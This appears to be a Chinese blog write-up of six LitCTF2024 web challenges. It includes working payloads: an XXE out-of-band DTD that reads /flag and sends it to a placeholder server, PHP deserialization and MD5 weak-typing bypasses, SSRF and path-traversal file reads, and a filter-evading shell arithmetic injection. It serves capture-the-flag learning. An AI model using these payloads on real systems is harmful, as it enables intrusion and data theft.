探姬杯LitCTF2024(Web方向)

1. exx

开局登录框,经典。在这里插入图片描述直接梭哈Fuzz字典,从部分返回包中看到了DOMDocument::loadXML字样,再根据题目名称和登录请求包格式(XML格式),推测是考察XXE那一块。
在这里插入图片描述
尝试利用伪协议读取/flag文件,但是并没有回显文件内容。
在这里插入图片描述考虑利用oob外带获取flag文件内容,POC如下:

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://x.x.x.x:9999/?x=%file;'>">
%eval;
%exfiltrate;

监听vps相应端口后,也是成功吃到了相应数据。
在这里插入图片描述

2. SAS - Serializing Authentication System

在这里插入图片描述
炒鸡简单的一道反序列化,POC如下:

<?php

class User {
    public $username;
    public $password;

}

$pop = new User;
$pop -> username = 'admin';
$pop -> password = 'secure_password';
echo base64_encode(serialize($pop));

?>

输出结果如下:
在这里插入图片描述

3. 一个…池子?

在这里插入图片描述输入什么会返回什么,应该是考察SSTI那一块,事实也如我们所想。
在这里插入图片描述输入{{7*7}},返回49,进行了表达式运算,SSTI实锤了。
在这里插入图片描述懒得很,直接fenjing一把梭哈。
在这里插入图片描述

4. 浏览器也能套娃?

在这里插入图片描述在套娃浏览器中的url栏输入百度域名,会返回相应的页面,考虑SSRF漏洞。
在这里插入图片描述
直接file协议梭哈。
在这里插入图片描述

5. 高亮主题(划掉)背景查看器

在这里插入图片描述看样子是存在文件包含漏洞,但是按照页面提示进行传参并没啥反应。
在这里插入图片描述注意到页面可以手动切换主题:Use this theme,点击该按钮后会向后端发送请求包。
在这里插入图片描述
配合目录穿越直接拿下!(过滤url参数关我theme什么事
在这里插入图片描述

6. 百万美元的诱惑

在这里插入图片描述代码如下:

<?php
error_reporting(0);

$a = $_GET['a'];
$b = $_GET['b'];

$c = $_GET['c'];

if ($a !== $b && md5($a) == md5($b)) {
        if (!is_numeric($c) && $c > 2024) {
            echo "好康的";
        } else {
            die("干巴爹干巴爹先辈~");
        }
    }
else {
    die("开胃小菜))");
}

老演员了,包简单的牢弟。考点是弱类型那一块,POC如下:

/?a[]=1&b[]=2&c=2025a

输出结果如下:
在这里插入图片描述
拼接访问:/dollar.php,跳转到如下页面。
在这里插入图片描述
代码如下:

<?php
//flag in 12.php
error_reporting(0);
if(isset($_GET['x'])){
    $x = $_GET['x'];
    if(!preg_match("/[a-z0-9;`|#'\"%&\x09\x0a><.,?*\-=\\[\]]/i", $x)){
            system("cat ".$x.".php");
    }
}else{
    highlight_file(__FILE__);
}
?> 

过滤了一堆,我们注意到system("cat ".$x.".php"),根据提示,就只需要构造出12即可。在Linux中,我们可以使用$(())进行数学运算。
在这里插入图片描述
但是不能出现数字,我们该如何破局呢?需要注意的是,$(())是空运算,默认值是0。
在这里插入图片描述可以配合按位取反符号~进行运算,这样得到的结果就是-1。
在这里插入图片描述
按照这种思路,我们能很轻易地拿到任何一个负数,譬如说要得到-2,只需要运算-1-1即可。
在这里插入图片描述如何才能得到一个正数呢?很简单,取个反就可以了。
在这里插入图片描述
刚好这几个字符都没被ban,按照上面的思路,就可以很轻松地构造出12,POC如下:

/dollar.php?x=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))
  • 7
    点赞
  • 14
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值